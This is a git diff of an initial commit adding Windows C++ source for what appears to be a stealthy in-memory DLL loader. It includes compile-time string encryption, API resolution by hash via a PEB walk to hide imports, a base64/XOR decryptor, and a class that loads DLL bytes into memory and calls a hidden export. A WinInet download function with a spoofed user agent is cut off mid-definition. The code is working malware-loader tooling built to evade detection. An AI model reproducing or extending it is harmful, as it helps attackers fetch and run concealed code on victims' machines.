initial commit
This commit is contained in:
Executable
+673
@@ -0,0 +1,673 @@
|
||||
#include <Windows.h>
|
||||
#include <random>
|
||||
#include <iostream>
|
||||
|
||||
#ifndef BUILD_SEED
|
||||
#define BUILD_SEED 0xBbd66a7u // <-- This value gets randomized on each build via a prebuild command
|
||||
#endif
|
||||
|
||||
|
||||
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
|
||||
#define EC(str) xorstr(str).crypt_get()
|
||||
|
||||
|
||||
#define TIME_BASED_XOR_KEY \
|
||||
( static_cast<std::uintptr_t>(BUILD_SEED) )
|
||||
|
||||
#define XORSTR_FORCEINLINE __forceinline
|
||||
|
||||
namespace jm {
|
||||
|
||||
namespace detail {
|
||||
|
||||
template<std::size_t Size>
|
||||
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
|
||||
{
|
||||
return ((Size / 16) + (Size % 16 != 0)) * 2;
|
||||
}
|
||||
|
||||
template<std::uint32_t Seed>
|
||||
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
|
||||
{
|
||||
std::uint32_t value = Seed ^ BUILD_SEED;
|
||||
|
||||
for (char c : __FUNCSIG__)
|
||||
value = static_cast<std::uint32_t>((value ^ c) * 31ull);
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
template<std::size_t S>
|
||||
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
|
||||
{
|
||||
constexpr auto first_part = key4<23 + S>();
|
||||
constexpr auto second_part = key4<first_part>();
|
||||
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
|
||||
}
|
||||
|
||||
// loads up to 8 characters of string into uint64 and xors it with the key
|
||||
template<std::size_t N, class CharT>
|
||||
XORSTR_FORCEINLINE constexpr std::uint64_t
|
||||
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
|
||||
{
|
||||
using cast_type = typename std::make_unsigned<CharT>::type;
|
||||
constexpr auto value_size = sizeof(CharT);
|
||||
constexpr auto idx_offset = 8 / value_size;
|
||||
|
||||
std::uint64_t value = key;
|
||||
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
|
||||
value ^=
|
||||
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
|
||||
<< ((i % idx_offset) * 8 * value_size));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
// forces compiler to use registers instead of stuffing constants in rdata
|
||||
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
|
||||
{
|
||||
#if defined(__clang__) || defined(__GNUC__)
|
||||
asm("" : "=r"(value) : "0"(value) : );
|
||||
return value;
|
||||
#else
|
||||
volatile std::uint64_t reg = value;
|
||||
return reg;
|
||||
#endif
|
||||
}
|
||||
|
||||
} // namespace detail
|
||||
|
||||
template<class CharT, std::size_t Size, class Keys, class Indices>
|
||||
class xor_string;
|
||||
|
||||
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
|
||||
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
|
||||
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
|
||||
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
|
||||
#else
|
||||
constexpr static inline std::uint64_t alignment = 16;
|
||||
#endif
|
||||
|
||||
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
|
||||
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
|
||||
|
||||
public:
|
||||
using value_type = CharT;
|
||||
using size_type = std::size_t;
|
||||
using pointer = CharT*;
|
||||
using const_pointer = const CharT*;
|
||||
|
||||
template<class L>
|
||||
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
|
||||
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
|
||||
{
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
|
||||
{
|
||||
return Size - 1;
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE void crypt() noexcept
|
||||
{
|
||||
((_storage[Indices] ^= keys[Indices]), ...);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE const_pointer get() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const_pointer>(_storage);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE pointer get() noexcept
|
||||
{
|
||||
return reinterpret_cast<pointer>(_storage);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE pointer crypt_get() noexcept
|
||||
{
|
||||
crypt();
|
||||
return reinterpret_cast<pointer>(_storage);
|
||||
}
|
||||
};
|
||||
|
||||
template<class L, std::size_t Size, std::size_t... Indices>
|
||||
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
|
||||
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
|
||||
Size,
|
||||
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
|
||||
std::index_sequence<Indices...>>;
|
||||
|
||||
} // namespace jm
|
||||
|
||||
|
||||
|
||||
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
|
||||
|
||||
|
||||
#ifndef LAZY_IMPORTER_CPP_FORWARD
|
||||
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
|
||||
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
|
||||
#else
|
||||
#include <utility>
|
||||
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#include <intrin.h>
|
||||
|
||||
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
|
||||
#if defined(_MSC_VER)
|
||||
#define LAZY_IMPORTER_FORCEINLINE __forceinline
|
||||
#elif defined(__GNUC__) && __GNUC__ > 3
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
|
||||
#else
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline
|
||||
#endif
|
||||
#else
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
|
||||
#define LAZY_IMPORTER_CASE_SENSITIVITY false
|
||||
#else
|
||||
#define LAZY_IMPORTER_CASE_SENSITIVITY true
|
||||
#endif
|
||||
|
||||
#define LAZY_IMPORTER_STRINGIZE(x) #x
|
||||
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
|
||||
|
||||
|
||||
#define LAZY_IMPORTER_KHASH(str) \
|
||||
::li::detail::khash( \
|
||||
str, \
|
||||
::li::detail::khash_impl( \
|
||||
/* mostly-stable part so identical strings collide in the TU: */ \
|
||||
__FILE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) \
|
||||
/* build-level entropy: */ \
|
||||
LAZY_IMPORTER_STRINGIZE_EXPAND(BUILD_SEED), \
|
||||
/* mix constant keeps behaviour more complex */ \
|
||||
OMGHERE /* A magic constant from the golden ratio */ ) )
|
||||
|
||||
|
||||
|
||||
namespace li {
|
||||
namespace detail {
|
||||
|
||||
namespace win {
|
||||
|
||||
struct LIST_ENTRY_T {
|
||||
const char* Flink;
|
||||
const char* Blink;
|
||||
};
|
||||
|
||||
struct UNICODE_STRING_T {
|
||||
unsigned short Length;
|
||||
unsigned short MaximumLength;
|
||||
wchar_t* Buffer;
|
||||
};
|
||||
|
||||
struct PEB_LDR_DATA_T {
|
||||
unsigned long Length;
|
||||
unsigned long Initialized;
|
||||
const char* SsHandle;
|
||||
LIST_ENTRY_T InLoadOrderModuleList;
|
||||
};
|
||||
|
||||
struct PEB_T {
|
||||
unsigned char Reserved1[2];
|
||||
unsigned char BeingDebugged;
|
||||
unsigned char Reserved2[1];
|
||||
const char* Reserved3[2];
|
||||
PEB_LDR_DATA_T* Ldr;
|
||||
};
|
||||
|
||||
struct LDR_DATA_TABLE_ENTRY_T {
|
||||
LIST_ENTRY_T InLoadOrderLinks;
|
||||
LIST_ENTRY_T InMemoryOrderLinks;
|
||||
LIST_ENTRY_T InInitializationOrderLinks;
|
||||
const char* DllBase;
|
||||
const char* EntryPoint;
|
||||
union {
|
||||
unsigned long SizeOfImage;
|
||||
const char* _dummy;
|
||||
};
|
||||
UNICODE_STRING_T FullDllName;
|
||||
UNICODE_STRING_T BaseDllName;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
|
||||
load_order_next() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
|
||||
InLoadOrderLinks.Flink);
|
||||
}
|
||||
};
|
||||
|
||||
struct IMAGE_DOS_HEADER { // DOS .EXE header
|
||||
unsigned short e_magic; // Magic number
|
||||
unsigned short e_cblp; // Bytes on last page of file
|
||||
unsigned short e_cp; // Pages in file
|
||||
unsigned short e_crlc; // Relocations
|
||||
unsigned short e_cparhdr; // Size of header in paragraphs
|
||||
unsigned short e_minalloc; // Minimum extra paragraphs needed
|
||||
unsigned short e_maxalloc; // Maximum extra paragraphs needed
|
||||
unsigned short e_ss; // Initial (relative) SS value
|
||||
unsigned short e_sp; // Initial SP value
|
||||
unsigned short e_csum; // Checksum
|
||||
unsigned short e_ip; // Initial IP value
|
||||
unsigned short e_cs; // Initial (relative) CS value
|
||||
unsigned short e_lfarlc; // File address of relocation table
|
||||
unsigned short e_ovno; // Overlay number
|
||||
unsigned short e_res[4]; // Reserved words
|
||||
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
|
||||
unsigned short e_oeminfo; // OEM information; e_oemid specific
|
||||
unsigned short e_res2[10]; // Reserved words
|
||||
long e_lfanew; // File address of new exe header
|
||||
};
|
||||
|
||||
struct IMAGE_FILE_HEADER {
|
||||
unsigned short Machine;
|
||||
unsigned short NumberOfSections;
|
||||
unsigned long TimeDateStamp;
|
||||
unsigned long PointerToSymbolTable;
|
||||
unsigned long NumberOfSymbols;
|
||||
unsigned short SizeOfOptionalHeader;
|
||||
unsigned short Characteristics;
|
||||
};
|
||||
|
||||
struct IMAGE_EXPORT_DIRECTORY {
|
||||
unsigned long Characteristics;
|
||||
unsigned long TimeDateStamp;
|
||||
unsigned short MajorVersion;
|
||||
unsigned short MinorVersion;
|
||||
unsigned long Name;
|
||||
unsigned long Base;
|
||||
unsigned long NumberOfFunctions;
|
||||
unsigned long NumberOfNames;
|
||||
unsigned long AddressOfFunctions; // RVA from base of image
|
||||
unsigned long AddressOfNames; // RVA from base of image
|
||||
unsigned long AddressOfNameOrdinals; // RVA from base of image
|
||||
};
|
||||
|
||||
struct IMAGE_DATA_DIRECTORY {
|
||||
unsigned long VirtualAddress;
|
||||
unsigned long Size;
|
||||
};
|
||||
|
||||
struct IMAGE_OPTIONAL_HEADER64 {
|
||||
unsigned short Magic;
|
||||
unsigned char MajorLinkerVersion;
|
||||
unsigned char MinorLinkerVersion;
|
||||
unsigned long SizeOfCode;
|
||||
unsigned long SizeOfInitializedData;
|
||||
unsigned long SizeOfUninitializedData;
|
||||
unsigned long AddressOfEntryPoint;
|
||||
unsigned long BaseOfCode;
|
||||
unsigned long long ImageBase;
|
||||
unsigned long SectionAlignment;
|
||||
unsigned long FileAlignment;
|
||||
unsigned short MajorOperatingSystemVersion;
|
||||
unsigned short MinorOperatingSystemVersion;
|
||||
unsigned short MajorImageVersion;
|
||||
unsigned short MinorImageVersion;
|
||||
unsigned short MajorSubsystemVersion;
|
||||
unsigned short MinorSubsystemVersion;
|
||||
unsigned long Win32VersionValue;
|
||||
unsigned long SizeOfImage;
|
||||
unsigned long SizeOfHeaders;
|
||||
unsigned long CheckSum;
|
||||
unsigned short Subsystem;
|
||||
unsigned short DllCharacteristics;
|
||||
unsigned long long SizeOfStackReserve;
|
||||
unsigned long long SizeOfStackCommit;
|
||||
unsigned long long SizeOfHeapReserve;
|
||||
unsigned long long SizeOfHeapCommit;
|
||||
unsigned long LoaderFlags;
|
||||
unsigned long NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[16];
|
||||
};
|
||||
|
||||
struct IMAGE_OPTIONAL_HEADER32 {
|
||||
unsigned short Magic;
|
||||
unsigned char MajorLinkerVersion;
|
||||
unsigned char MinorLinkerVersion;
|
||||
unsigned long SizeOfCode;
|
||||
unsigned long SizeOfInitializedData;
|
||||
unsigned long SizeOfUninitializedData;
|
||||
unsigned long AddressOfEntryPoint;
|
||||
unsigned long BaseOfCode;
|
||||
unsigned long BaseOfData;
|
||||
unsigned long ImageBase;
|
||||
unsigned long SectionAlignment;
|
||||
unsigned long FileAlignment;
|
||||
unsigned short MajorOperatingSystemVersion;
|
||||
unsigned short MinorOperatingSystemVersion;
|
||||
unsigned short MajorImageVersion;
|
||||
unsigned short MinorImageVersion;
|
||||
unsigned short MajorSubsystemVersion;
|
||||
unsigned short MinorSubsystemVersion;
|
||||
unsigned long Win32VersionValue;
|
||||
unsigned long SizeOfImage;
|
||||
unsigned long SizeOfHeaders;
|
||||
unsigned long CheckSum;
|
||||
unsigned short Subsystem;
|
||||
unsigned short DllCharacteristics;
|
||||
unsigned long SizeOfStackReserve;
|
||||
unsigned long SizeOfStackCommit;
|
||||
unsigned long SizeOfHeapReserve;
|
||||
unsigned long SizeOfHeapCommit;
|
||||
unsigned long LoaderFlags;
|
||||
unsigned long NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[16];
|
||||
};
|
||||
|
||||
struct IMAGE_NT_HEADERS {
|
||||
unsigned long Signature;
|
||||
IMAGE_FILE_HEADER FileHeader;
|
||||
#ifdef _WIN64
|
||||
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
|
||||
#else
|
||||
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
||||
#endif
|
||||
};
|
||||
|
||||
} // namespace win
|
||||
|
||||
struct forwarded_hashes {
|
||||
unsigned module_hash;
|
||||
unsigned function_hash;
|
||||
};
|
||||
|
||||
// 64 bit integer where 32 bits are used for the hash offset
|
||||
// and remaining 32 bits are used for the hash computed using it
|
||||
using offset_hash_pair = unsigned long long;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return static_cast<unsigned>(pair >> 32); }
|
||||
|
||||
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
|
||||
{
|
||||
return (value ^ static_cast<unsigned>((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 323;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
|
||||
khash_impl(const char* str, unsigned value) noexcept
|
||||
{
|
||||
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
|
||||
const char* str, unsigned offset) noexcept
|
||||
{
|
||||
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
|
||||
}
|
||||
|
||||
template<class CharT = char>
|
||||
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
|
||||
{
|
||||
unsigned value = offset;
|
||||
|
||||
for (;;) {
|
||||
char c = *str++;
|
||||
if (!c)
|
||||
return value;
|
||||
value = hash_single(value, c);
|
||||
}
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE unsigned hash(
|
||||
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
|
||||
{
|
||||
auto first = str.Buffer;
|
||||
const auto last = first + (str.Length / sizeof(wchar_t));
|
||||
auto value = offset;
|
||||
for (; first != last; ++first)
|
||||
value = hash_single(value, static_cast<char>(*first));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
// some helper functions
|
||||
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
|
||||
{
|
||||
|
||||
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
|
||||
{
|
||||
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
|
||||
const char* base) noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
|
||||
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
|
||||
const char* base) noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
|
||||
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
|
||||
ldr()->InLoadOrderModuleList.Flink);
|
||||
}
|
||||
|
||||
struct exports_directory {
|
||||
unsigned long _ied_size;
|
||||
const char* _base;
|
||||
const win::IMAGE_EXPORT_DIRECTORY* _ied;
|
||||
|
||||
public:
|
||||
using size_type = unsigned long;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE
|
||||
exports_directory(const char* base) noexcept : _base(base)
|
||||
{
|
||||
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
|
||||
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
|
||||
base + ied_data_dir.VirtualAddress);
|
||||
_ied_size = ied_data_dir.Size;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const char*>(_ied) != _base;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
|
||||
{
|
||||
return _ied->NumberOfNames;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
|
||||
{
|
||||
return _ied;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
|
||||
{
|
||||
return _base + reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfNames)[index];
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
|
||||
{
|
||||
const auto* const rva_table =
|
||||
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
|
||||
|
||||
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
|
||||
_base + _ied->AddressOfNameOrdinals);
|
||||
|
||||
return _base + rva_table[ord_table[index]];
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
|
||||
const char* export_address) const noexcept
|
||||
{
|
||||
const auto ui_ied = reinterpret_cast<const char*>(_ied);
|
||||
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
|
||||
}
|
||||
};
|
||||
|
||||
struct safe_module_enumerator {
|
||||
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
|
||||
value_type* value;
|
||||
value_type* head;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
|
||||
: safe_module_enumerator(ldr_data_entry())
|
||||
{
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE
|
||||
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
|
||||
: value(ldr->load_order_next()), head(value)
|
||||
{
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
|
||||
{
|
||||
value = value->load_order_next();
|
||||
|
||||
return value != head && value->DllBase;
|
||||
}
|
||||
};
|
||||
|
||||
struct unsafe_module_enumerator {
|
||||
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
|
||||
value_type value;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
|
||||
: value(ldr_data_entry())
|
||||
{
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
|
||||
{
|
||||
value = value->load_order_next();
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
// provides the cached functions which use Derive classes methods
|
||||
template<class Derived, class DefaultType = void*>
|
||||
class lazy_base {
|
||||
protected:
|
||||
// This function is needed because every templated function
|
||||
// with different args has its own static buffer
|
||||
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
|
||||
{
|
||||
static void* value = nullptr;
|
||||
return value;
|
||||
}
|
||||
|
||||
public:
|
||||
template<class T = DefaultType>
|
||||
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
|
||||
{
|
||||
return Derived::template get<T, safe_module_enumerator>();
|
||||
}
|
||||
|
||||
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
|
||||
{
|
||||
auto& cached = _cache();
|
||||
if (!cached)
|
||||
cached = Derived::template get<void*, Enum>();
|
||||
|
||||
return (T)(cached);
|
||||
}
|
||||
|
||||
template<class T = DefaultType>
|
||||
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
|
||||
{
|
||||
return cached<T, safe_module_enumerator>();
|
||||
}
|
||||
};
|
||||
|
||||
template<offset_hash_pair OHP>
|
||||
struct lazy_module : lazy_base<lazy_module<OHP>> {
|
||||
template<class T = void*, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
|
||||
{
|
||||
Enum e;
|
||||
do {
|
||||
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
|
||||
return (T)(e.value->DllBase);
|
||||
} while (e.next());
|
||||
return {};
|
||||
}
|
||||
|
||||
template<class T = void*, class Ldr>
|
||||
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
|
||||
{
|
||||
safe_module_enumerator e(reinterpret_cast<const detail::win::LDR_DATA_TABLE_ENTRY_T*>(ldr));
|
||||
do {
|
||||
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
|
||||
return (T)(e.value->DllBase);
|
||||
} while (e.next());
|
||||
return {};
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
template<offset_hash_pair OHP, class T>
|
||||
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
|
||||
using base_type = lazy_base<lazy_function<OHP, T>, T>;
|
||||
|
||||
template<class... Args>
|
||||
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
|
||||
{
|
||||
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
|
||||
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
|
||||
#else
|
||||
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
|
||||
#endif
|
||||
}
|
||||
|
||||
template<class F = T, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
|
||||
{
|
||||
// for backwards compatability.
|
||||
// Before 2.0 it was only possible to resolve forwarded exports when
|
||||
// this macro was enabled
|
||||
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
|
||||
return forwarded<F, Enum>();
|
||||
#else
|
||||
|
||||
Enum e;
|
||||
|
||||
do {
|
||||
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
|
||||
if (!e.value->DllBase || !e.value->FullDllName.Length)
|
||||
continue;
|
||||
#endif
|
||||
|
||||
const exports_directory exports(e.value->DllBase);
|
||||
|
||||
if (exports) {
|
||||
auto export_index = exports.size();
|
||||
while (export_index--)
|
||||
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
|
||||
return (F)(exports.address(export_index));
|
||||
}
|
||||
} while (e.next());
|
||||
return {};
|
||||
#endif
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
Executable
+284
@@ -0,0 +1,284 @@
|
||||
#include "Ecy.h"
|
||||
#include "MemoryModule.h"
|
||||
#include "MyFunctions.h" // Your header file
|
||||
#include <wininet.h>
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
#pragma warning(disable : 4996)
|
||||
|
||||
|
||||
#define DEBUG_MODE 0
|
||||
typedef int (*MannotFunc)(std::string, std::string, std::string);
|
||||
|
||||
class CloudDLLLoader {
|
||||
private:
|
||||
HMEMORYMODULE module;
|
||||
std::vector<uint8_t> dllBytes;
|
||||
|
||||
public:
|
||||
CloudDLLLoader() : module(nullptr) {}
|
||||
|
||||
~CloudDLLLoader() {
|
||||
if (module) {
|
||||
MemoryFreeLibrary(module);
|
||||
}
|
||||
}
|
||||
|
||||
bool loadDLLFromBytes(const std::vector<uint8_t>& bytes) {
|
||||
|
||||
|
||||
dllBytes = bytes;
|
||||
return loadDLLIntoMemory();
|
||||
}
|
||||
|
||||
|
||||
|
||||
private:
|
||||
bool loadDLLIntoMemory() {
|
||||
|
||||
|
||||
|
||||
if (dllBytes.empty()) {
|
||||
#if DEBUG_MODE
|
||||
std::cerr << EC("No DLL bytes to load!") << std::endl;
|
||||
|
||||
#endif
|
||||
return false;
|
||||
}
|
||||
|
||||
module = MemoryLoadLibrary(dllBytes.data(), dllBytes.size());
|
||||
if (!module) {
|
||||
#if DEBUG_MODE
|
||||
std::cerr << EC("Failed to load DLL from memory!") << std::endl;
|
||||
|
||||
#endif
|
||||
return false;
|
||||
}
|
||||
|
||||
#if DEBUG_MODE
|
||||
std::cout << EC("DLL loaded successfully into memory!") << std::endl;
|
||||
|
||||
#endif
|
||||
return true;
|
||||
}
|
||||
|
||||
public:
|
||||
|
||||
|
||||
MannotFunc getMannot() {
|
||||
|
||||
auto encrypted = xorstr("Mannot");
|
||||
auto result = (MannotFunc)MemoryGetProcAddress(module, encrypted.crypt_get());
|
||||
encrypted.crypt();
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
// Check if DLL is loaded
|
||||
bool isLoaded() const {
|
||||
|
||||
|
||||
|
||||
return module != nullptr;
|
||||
}
|
||||
};
|
||||
|
||||
std::string decrypt(const std::string& encryptedBase64, const std::string& key) {
|
||||
|
||||
|
||||
std::string decoded;
|
||||
std::vector<int> decodingTable(256, -1);
|
||||
|
||||
auto encrypted = xorstr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
|
||||
const std::string base64Chars = std::string(encrypted.crypt_get());
|
||||
encrypted.crypt(); // Re-encrypt to clear decrypted data
|
||||
|
||||
for (size_t i = 0; i < base64Chars.size(); i++) {
|
||||
decodingTable[base64Chars[i]] = i;
|
||||
}
|
||||
|
||||
int val = 0, valb = -8;
|
||||
for (unsigned char c : encryptedBase64) {
|
||||
if (decodingTable[c] == -1) break;
|
||||
val = (val << 6) + decodingTable[c];
|
||||
valb += 6;
|
||||
if (valb >= 0) {
|
||||
decoded.push_back((val >> valb) & 0xFF);
|
||||
valb -= 8;
|
||||
}
|
||||
}
|
||||
|
||||
std::string encryptedData = decoded;
|
||||
std::string decrypted;
|
||||
size_t keyLength = key.size();
|
||||
|
||||
for (size_t i = 0; i < encryptedData.size(); ++i) {
|
||||
decrypted += encryptedData[i] ^ key[i % keyLength];
|
||||
}
|
||||
|
||||
return decrypted;
|
||||
}
|
||||
|
||||
std::string GRS() {
|
||||
|
||||
|
||||
auto encrypted1 = xorstr("abcdefghijklmnopqrstuvwxyz");
|
||||
auto encrypted2 = xorstr("ABCDEFGHIJKLMNOPQRSTUVWXYZ");
|
||||
auto encrypted3 = xorstr("0123456789");
|
||||
|
||||
const std::string charset =
|
||||
std::string(encrypted1.crypt_get()) +
|
||||
std::string(encrypted2.crypt_get()) +
|
||||
std::string(encrypted3.crypt_get());
|
||||
|
||||
// Re-encrypt to clear decrypted data
|
||||
encrypted1.crypt();
|
||||
encrypted2.crypt();
|
||||
encrypted3.crypt();
|
||||
|
||||
std::random_device rd;
|
||||
std::mt19937 gen(rd());
|
||||
std::uniform_int_distribution<> dist(0, charset.size() - 1);
|
||||
|
||||
std::string result;
|
||||
result.reserve(23);
|
||||
for (size_t i = 0; i < 23; ++i) {
|
||||
result += charset[dist(gen)];
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
std::string DownloadString(std::string URL) {
|
||||
|
||||
|
||||
HINTERNET interwebs = InternetOpenA(EC("Mozilla/5.0 (Windows NT 14_73_31; WOW64)"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
|
||||
|
||||
HINTERNET urlFile;
|
||||
std::string rtn;
|
||||
if (interwebs) {
|
||||
